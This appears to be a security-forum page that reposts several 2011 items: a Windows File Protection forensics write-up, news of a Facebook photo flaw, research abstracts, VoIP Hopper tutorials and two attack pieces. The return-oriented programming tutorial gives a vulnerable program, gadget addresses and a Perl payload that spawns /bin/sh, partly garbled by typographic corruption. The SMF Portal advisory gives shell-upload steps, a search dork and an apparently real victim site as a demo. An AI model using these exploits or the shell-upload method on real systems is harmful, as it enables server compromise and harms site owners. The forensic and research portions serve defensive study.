Nov 23 15:35:54 2011 Z C: Wed Nov 23 15:48:56 2011 Z B: Wed Nov 23 15:35:37 2011 Z M: Wed Nov 23 16:07:57 2011 Z A: Wed Nov 23 16:23:54 2011 Z C: Wed Nov 23 16:23:54 2011 Z B: Thu Aug 23 12:00:00 2001 Z FN: dllhost.exe Parent Ref: 29 Parent Seq: 1 M: Wed Aug 4 06:56:50 2004 Z A: Wed Nov 23 16:05:41 2011 Z C: Wed Nov 23 16:05:42 2011 Z B: Wed Jan 26 20:37:00 2011 Z Remember our error from the system event logs? Let's take a closer look in conjunction with the timeline data... c:\tw_pogue1\CEPOGUE-NGQ83PM\vol\evt_sys.txt: 506,System,Windows File Protection,INFORMATION,CEPOGUE-NGQ83PM,11/23/2011 10:05:42 AM,64001,None,"File replacement was attempted on the protected system file dllhost.exe. This file was restored to the original version to maintain system stability. The file version of the bad file is 5.1.2600.2180, the version of the system file is 5.1.2600.2180. Within two (2) seconds, the original file from the ServicePackFile directory is accessed, created again in the LastGood directory, accessed in dllcache, and the modified back to its original state in the system32 directory. Wed Nov 23 2011 10:05:41,5120,.a..,r/rrwxrwxrwx,0,0,32127-128-3,"C:/WINDOWS/ServicePackFiles/i386/dllhost.exe" Wed Nov 23 2011 10:05:41,5126,.acb,r/rrwxrwxrwx,0,0,974-128-4,"C:/WINDOWS/LastGood/system32/dllhost.exe" Wed Nov 23 2011 10:05:47,5120,.ac.,r/rrwxrwxrwx,0,0,978-128-1,"C:/WINDOWS/system32/dllcache/dllhost.exe" Wed Nov 23 2011 10:07:57,5166,m...,r/rrwxrwxrwx,0,0,975-128-3,"C:/WINDOWS/system32/dllhost.exe" OK...so we can see the attempted change, but what about the actual change? Is there any evidence of that? Well...not really, no. I ran my volatile collection script against the VM which gathers a huge amount of data as well as the contents of memory. Apart from dllhost.exe being present, apart from the timeline, there were not any IOCs of modification. Pretty scary huh! So, what can we learn from testing this type of attack? First of all, knowing that this type of attack vector exists is a good start! Second, it underscores the importance of creating a forensic timeline, and understanding how to read its contents. Third, it is critically important to conduct live analysis in cases where you suspect that malware is present. Simply relying on AV signatures to identify and prevent malicious process from being executed is just not going to be effective anymore. Good investigators are going to need to start getting better at behavioral analysis, and being well versed enough with how operating systems "should" run under "normal" conditions so that they can quickly identify spot something that is "abnormal". Finally, we are going to have to get better at identifying multiple data points that all indicate the same activity did (or did not) take place. For example, simply identifying the presence of a file would be a single data point. However, if you identify the presence of that same file AND can match that up with an entry in the event logs AND see timeline activity, AND have live analysis data that show "unusual" behavior, THEN you may have something a bit more noteworthy. In such a case, you could use that intel to help identify the likely malicious process, and extract it for further analysis. So bottom line, while this is a relatively simple attack, it can present an extremely difficult scenario for an forensic investigator to successfully identify. Successful detection will require a combination of techniques, that yield multiple data points that will need to be expertly strung together so that a meaningful theory can be formulated. Posted by Chris Pogue on Tuesday, 06 December 2011 at 08:24 AM Sursa: Manipulating Windows File Protection and Indicators of Compromise - SpiderLabs Anterior

[h=1]Facebook Flaw Exposes Private Photos[/h] By Kim Zetter December 6, 2011 | 1:27 pm A flaw in Facebook’s image reporting tool allows users to view the private photos of other users, including those of Facebook founder Mark Zuckerberg — like the one at the top of this story. The flaw was found by members of a bodybuilding forum, who discovered that if they reported a public Facebook photo for abuse – using the tool that Facebook offers to report nudity or pornography – they could access other nonpublic photos for the same user they’re reporting, according to ZDNET. Facebook’s tool asks the reporting user to help Facebook “take action by selecting additional photos to include with your report” then displays a handful of other private photos belonging to the individual that’s being reported. The person reporting the abuse, can then rifle through the user’s other images. Members of the bodybuilder forum used the flaw to peruse the images of women they found attractive. They then targeted Zuckerberg and began viewing his private photos, and posted some of them to an image site. Facebook told ZDNET it’s investigating. The FTC recently slapped Facebook’s hand for deceiving users into thinking that their information would be kept private, although it was “repeatedly” shared with the public. The deal, which carries no financial penalties, demands that the social-networking site obtain “express consent” of their 850 million users before their information “is shared beyond the privacy settings they have established.” Sursa: Facebook Flaw Exposes Private Photos | Threat Level | Wired.com

Advanced Return-Oriented Exploit By funkyG on May 5th, 2010 This is a brief introduction to a cool little technique of buffer overflow exploit with the following conditions: the stack is not executable, the stack address is randomized, and the libc address is also randomized. In other words, we cannot simply use return-to-stack and return-to-libc. A vulnerable program that I am going to use is a modified version of gera’s in [1]. Here, we do not have stack canary protection, but I am going to make it much harder by modifying the code a little bit: adding an exit system call, and employing stack and libc address randomization (ASLR). The modified version is shown below: #include #include #include int func(char *msg) { char buf[80]; strcpy(buf,msg); buf[0] = toupper(buf[0]); strcpy(msg,buf); [URL="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"]printf[/URL](“Caps: %s\n“,msg); exit(1); } int main(int argv, char** argc) { func(argc[1]); } 1. Vulnerability There is a classic strcpy vulnerability in the func function. Two consecutive strcpy call enables us to write arbitrary values in an arbitrary address: first, modify the value of the msg from the first strcpy, and then write arbitrary values from the second strcpy. Note that overwriting the return address of func is not enough because it is protected with exit system call. It is more clear if you look at the disassembled version of the program: 080484b4 : 80484b4: 55 push %ebp 80484b5: 89 e5 mov %esp,%ebp 80484b7: 83 ec 58 sub $0×58,%esp 80484ba: 8b 45 08 mov 0×8(%ebp),%eax 80484bd: 89 44 24 04 mov %eax,0×4(%esp) 80484c1: 8d 45 b0 lea -0×50(%ebp),%eax 80484c4: 89 04 24 mov %eax,(%esp) 80484c7: e8 04 ff ff ff call 80483d0 80484cc: 0f b6 45 b0 movzbl -0×50(%ebp),%eax 80484d0: 0f be c0 movsbl %al,%eax 80484d3: 89 04 24 mov %eax,(%esp) 80484d6: e8 d5 fe ff ff call 80483b0 80484db: 88 45 b0 mov %al,-0×50(%ebp) 80484de: 8d 45 b0 lea -0×50(%ebp),%eax 80484e1: 89 44 24 04 mov %eax,0×4(%esp) 80484e5: 8b 45 08 mov 0×8(%ebp),%eax 80484e8: 89 04 24 mov %eax,(%esp) 80484eb: e8 e0 fe ff ff call 80483d0 80484f0: 8b 45 08 mov 0×8(%ebp),%eax 80484f3: 89 44 24 04 mov %eax,0×4(%esp) 80484f7: c7 04 24 00 86 04 08 movl $0×8048600,(%esp) 80484fe: e8 dd fe ff ff call 80483e0 8048503: c7 04 24 01 00 00 00 movl $0×1,(%esp) 804850a: e8 e1 fe ff ff call 80483f0 0804850f : 804850f: 8d 4c 24 04 lea 0×4(%esp),%ecx 8048513: 83 e4 f0 and $0xfffffff0,%esp 8048516: ff 71 fc pushl -0×4(%ecx) 8048519: 55 push %ebp 804851a: 89 e5 mov %esp,%ebp 804851c: 51 push %ecx 804851d: 83 ec 14 sub $0×14,%esp 8048520: 8b 41 04 mov 0×4(%ecx),%eax 8048523: 83 c0 04 add $0×4,%eax 8048526: 8b 00 mov (%eax),%eax 8048528: 89 04 24 mov %eax,(%esp) 804852b: e8 84 ff ff ff call 80484b4 8048530: 83 c4 14 add $0×14,%esp 8048533: 59 pop %ecx 8048534: 5d pop %ebp 8048535: 8d 61 fc lea -0×4(%ecx),%esp 8048538: c3 ret 080484b4 : 80484b4: 55 push %ebp 80484b5: 89 e5 mov %esp,%ebp 80484b7: 83 ec 58 sub $0×58,%esp 80484ba: 8b 45 08 mov 0×8(%ebp),%eax 80484bd: 89 44 24 04 mov %eax,0×4(%esp) 80484c1: 8d 45 b0 lea -0×50(%ebp),%eax 80484c4: 89 04 24 mov %eax,(%esp) 80484c7: e8 04 ff ff ff call 80483d0 80484cc: 0f b6 45 b0 movzbl -0×50(%ebp),%eax 80484d0: 0f be c0 movsbl %al,%eax 80484d3: 89 04 24 mov %eax,(%esp) 80484d6: e8 d5 fe ff ff call 80483b0 80484db: 88 45 b0 mov %al,-0×50(%ebp) 80484de: 8d 45 b0 lea -0×50(%ebp),%eax 80484e1: 89 44 24 04 mov %eax,0×4(%esp) 80484e5: 8b 45 08 mov 0×8(%ebp),%eax 80484e8: 89 04 24 mov %eax,(%esp) 80484eb: e8 e0 fe ff ff call 80483d0 80484f0: 8b 45 08 mov 0×8(%ebp),%eax 80484f3: 89 44 24 04 mov %eax,0×4(%esp) 80484f7: c7 04 24 00 86 04 08 movl $0×8048600,(%esp) 80484fe: e8 dd fe ff ff call 80483e0 8048503: c7 04 24 01 00 00 00 movl $0×1,(%esp) 804850a: e8 e1 fe ff ff call 80483f0 0804850f : 804850f: 8d 4c 24 04 lea 0×4(%esp),%ecx 8048513: 83 e4 f0 and $0xfffffff0,%esp 8048516: ff 71 fc pushl -0×4(%ecx) 8048519: 55 push %ebp 804851a: 89 e5 mov %esp,%ebp 804851c: 51 push %ecx 804851d: 83 ec 14 sub $0×14,%esp 8048520: 8b 41 04 mov 0×4(%ecx),%eax 8048523: 83 c0 04 add $0×4,%eax 8048526: 8b 00 mov (%eax),%eax 8048528: 89 04 24 mov %eax,(%esp) 804852b: e8 84 ff ff ff call 80484b4 8048530: 83 c4 14 add $0×14,%esp 8048533: 59 pop %ecx 8048534: 5d pop %ebp 8048535: 8d 61 fc lea -0×4(%ecx),%esp 8048538: c3 ret 2. Observation and Strategy We can only modify a single memory region, but it must not be the return address because of the exit system call. There are several possible spots including dtors and GOT. In this example, I am going to overwrite GOT entry of printf function. GOT is typically in the code section of a program and its address is not randomized. Now we can hijack the control flow when the printf is called, so the next step is to determine where to jump. We cannot simply return to libc because its address is randomized (we are not going to use brute force here). However, we know that the code section’s addresses are fixed, and we are going to use return-oriented programming technique described introduced by Hovav [2]. In this problem, we can only use the code section of this small program, thus there is very small number of gadgets available. The return-oriented program that we are going to design runs as follows: 1) retrieve an address to libc’s strcpy function from the GOT, 2) compute the relative address from strcpy function to system function, 3) obtain the address of the system function from the step 1 and 2, 4) set up the stack to have a pointer to “/bin/sh” string, 5) jump to the system function using indirect call (call *%eax). 3. Gadgets We are going to use the following 4 gadgets that we can find from the code section to perform the exploitation. 1) 0x80485a2 : add $0xc,%esp 0x80485a5 : pop %ebx 0x80485a6 : pop %esi 0x80485a7 : pop %edi 0x80485a8 : pop %ebp 0x80485a9 : ret 2) 0x804838c : pop %eax 0x804838d : pop %ebx 0x804838e : leave 0x804838f : ret 3) 0x80485ce : add 0xf475fff8(%ebx),%eax 0x80485d4 : add $0×4,%esp 0x80485d7 : pop %ebx 0x80485d8 : pop %ebp 0x80485d9 : ret 4) 0x80484af : call *%eax 4. Final Exploit Using the above four gadgets, I introduce the following exploit. Note this exploit is not just a simple return-oriented programming exploit, there are many techniques involved: 1) It dynamically retrieves system function’s address from the GOT 2) changes the ebp register to point to the bss section so that we can control the esp and ebp continuously. 3) Set up the stack address to have enough space for system call. First, the second gadget sets up the eax and ebx values that are used in the third gadget to compute the system function’s address. The result of the “add 0xf475fff8(%ebx), %eax” instruction must produce the address of system function in libc. Specifically, 0xf475fff8(%ebx) must point to the strcpy’s GOT entry, so the strcpy’s address in libc is added with the value in eax register. Changing the ebp register in the first gadget is the most tricky part. In the first gadget, we set up the ebp to point to a writable bss section (More precisely, beyond the bss section). Since the address of 0x804a2e8 is a writable region, we can set the address for ebp and esp. In the second gadget, we can set up the esp value by using the leave instruction. Thus after the second gadget, both the ebp and the esp will point to the addresses of the bss section. The final exploit in perl is shown below: print “\xa2\x85\x04\x08? . # First Gadget “AAAAAAAA” . # dummy “\xe8\xa2\x04\x08? . # set ebp, poing to line 9 of this exploit string “\x8c\x83\x04\x08? . # Second gadget “\xc0\x52\xfc\xff” .“\x14\xa0\x8e\x13AAAA” . “/bin/sh;” . “A”x48 . “\x10\xa0\x04\x08? . # GOT entry address of printf “\x30\xa0\x04\x08?x0xa0 . # dummy “\xce\x85\x04\x08? . “\x30\xa0\x04\x08?x0x2 . # dummy “\x30\xa0\x04\x08? . # dummy ebp “\xaf\x84\x04\x08? . # call *%eax “\x30\xa0\x04\x08?; I also attach the binary file for people who are interested. (Download) 5. Conclusion There are many possible way of bypassing ASLR protections. Here, I present a way to exploit the return-oriented programming technique in a very limited environment: small code space, randomized stack and randomized libc. Sursa: Advanced Return-Oriented Exploit | divine-protection.com

[h=2]MS11-080 – A Voyage into Ring Zero[/h] Posted Dec 6 2011 by dookie with Comments Off Every patch Tuesday, we, like many in the security industry, love to analyze the released patches and see if any of them can lead to the development of a working exploit. Recently, the MS11-080 advisory caught our attention as it afforded us the opportunity to play in the kernel and try to get a working privilege escalation exploit out of it. Articol: http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/

I Know Where You are and What You are Sharing Exploiting P2P Communications to Invade Users’ Privacy Stevens Le Blond Chao Zhang Arnaud Legout Keith Ross Walid Dabbous MPI-SWS, Germany NYU-Poly, USA INRIA, France ABSTRACT In this paper, we show how to exploit real-time communication applications to determine the IP address of a targeted user. We focus our study on Skype, although other realtime communication applications may have similar privacy issues. We first design a scheme that calls an identifiedtargeted user inconspicuously to find his IP address, which can be done even if he is behind a NAT. By calling the user periodically, we can then observe the mobility of the user. We show how to scale the scheme to observe the mobility patterns of tens of thousands of users. We also consider the linkability threat, in which the identified user is linked to his Internet usage. We illustrate this threat by combining Skype and BitTorrent to show that it is possible to determine the filesharing usage of identified users. We devise a scheme based on the identification field of the IP datagrams to verify with high accuracy whether the identified user is participating in specific torrents. We conclude that any Internet user can leverage Skype, and potentially other real-time communication systems, to observe the mobility and filesharing usage of tens of millions of identified users. Download: http://cis.poly.edu/~ross/papers/skypeIMC2011.pdf

[h=1]VoIP Hopper Video Tutorials[/h] By Irfan Shakeel Posted in: Open Source, Tutorial, VoIP, Wireless As we have discussed before about VoIP hopper the IP based phone VLAN (virtual LAN) hopper, in the previous tutorial we have seen the theoretical background and the feature of VoIP hopper but in this article we will share three videos of VoIP hopper in which you will see the functionality of voip hopper. [h=3]Tutorial 1: Assessment Mode video tutorial for VoIP Hopper[/h] A tutorial demonstrating the new, exciting features for Assessment mode. Until I can integrate DHCP spoofing for Avaya/Nortel into assessment mode, I've also shown how to do both Avaya and Nortel VLAN discovery at the end of the video. [h=3]Tutorial 2: LLDP-MED features of VoIP Hopper[/h]A tutorial demonstrating the new LLDP-MED capabilities. [h=3]Tutorial 3: Hotel Exploit Demo ~ When DHCP is disabled[/h]A tutorial demonstrating the same live demo showed at DefCon 19, in which DHCP was disabled on the VoIP VLAN subnet. VoIP Hopper can still VLAN Hop and spoof the IP and MAC address of an IP Phone, as selected by the user. This is a demonstration of the "s" option of Assessment mode. Sursa: VoIP Hopper Video Tutorials

SMF Portal 1.1.15 Shell Upload Authored by HELLBOY SMF Portal version 1.1.15 suffers from a shell upload vulnerability Posted Dec 6, 2011 In The Name Of GOD ============================================================================== SMF Portal 1.1.15 (fckeditor) Arbitrary File Upload Vulnerability ============================================================================== [»] Title : [ SMF Portal 1.1.15 (fckeditor) Arbitrary File Upload Vulnerability ] [»] TestedON: [ LINUX ] [»] Download: [ http://www.simplemachines.org/ ] [»] Author : [ HELLBOY } [»] Email : [ A68_HELLBOY@YAHOO.COM ] [»] Date : [ 2011-12-2 ] [»] Version : [ 1.1.15 ] [»] Dork : [ "Powered by SMF 1.1.15" ] ########################################################################### InformatioN : 1. Go to url : http://Target/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php 2. SELECT You'r Shell and Click OK. 3. Formats can be uploaded (Php6,Jpg,gif,Xml,...) 4. Uploaded File Location : Target.com/tp-images/File/File Name ########################################################################### ===[ Exploit ]=== [»] http://Target/[patch]/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php [»] http://Target/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php ===[ Demo ]=== [»] http://theartglassfactory.com/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php ===[ We Are : ./Iranian HackerZ ]=== Greetz : BLACK.VIPER , SKOTE_VAHSHAT , KINGCOPE TBH : HELLBOY , BLACK.VIPER , SKOTE_VAHSHAT , KINGCOPE ########################################################################### Sursa: http://packetstormsecurity.org/files/107543

Weaning the Web off of Session Cookies Making Digest Authentication Viable Version 1.0 Timothy D. Morgan January 26, 2010 Contents Abstract...........................................................................................................................................................1 Introduction....................................................................................................................................................1 Cookie-based Session Management.............................................................................................................1 HTTP Digest Authentication.......................................................................................................................2 RFC 2069 Mode................................................................................................................................................................................2 auth Mode..........................................................................................................................................................................................2 auth-int Mode....................................................................................................................................................................................3 Comparison....................................................................................................................................................3 Pitfalls of Cookie-based Sessions..................................................................................................................................................3 Limitations of Digest Authentication...........................................................................................................................................5 Comparison Summary.....................................................................................................................................................................6 Possible Solutions...........................................................................................................................................8 Form-based HTTP Authentication...............................................................................................................................................8 Approaches for Logout...................................................................................................................................................................9 Practical Concerns.......................................................................................................................................11 Immature Digest Implementations.............................................................................................................................................11 Weak User Interfaces for HTTP Authentication....................................................................................................................11 Application Server Support.........................................................................................................................................................13 Conclusion....................................................................................................................................................14 Acknowledgements.....................................................................................................................................14 References.....................................................................................................................................................15 Download: http://vsecurity.com/download/papers/WeaningTheWebOffOfSessionCookies.pdf

Recovering deleted data from the Windows registry Timothy D. Morgan VSR Investigations, LLC, Boston, Massachusetts, United States a b s t r a c t The Windows registry serves as a primary storage location for system configurations and as such provides a wealth of information to investigators. Numerous researchers have worked to interpret the information stored in the registry from a digital forensic standpoint, but no definitive resource is yet available which describes how Windows deletes registry data structures under NT-based systems. This paper explores this topic and provides an algorithm for recovering deleted keys, values, and other structures in the context of the registry as awhole. ª 2008 Digital Forensic Research Workshop. Published by Elsevier Ltd. All rights reserved. 1. Introduction The Windows registry stores a wide variety of information, including core system configurations, user-specific configuration, information on installed applications, and user credentials. In addition, each registry key records a time stamp when modified which can aid in event reconstruction. This makes the Windows registry a critical resource for digital forensic investigations conducted against the Windows platform, as numerous researchers have shown. Little information has been published by Microsoft related to the specifics of how registry information is organized into data structures on disk. Fortunately, various open source projects have worked to understand and publish these technical details in order to write software compatible with Microsoft’s registry format. However, no public resource was yet available describing what happens to registry data when it is deleted under Windows NT-based systems, 1 let alone how a forensic examiner might reliably recover this information in the context of a registry hive. Here, we attempt to shed light on questions related to the deletion of registry data structures and suggest an algorithm for recovering this information. Download: http://www.dfrws.org/2008/proceedings/p33-morgan.pdf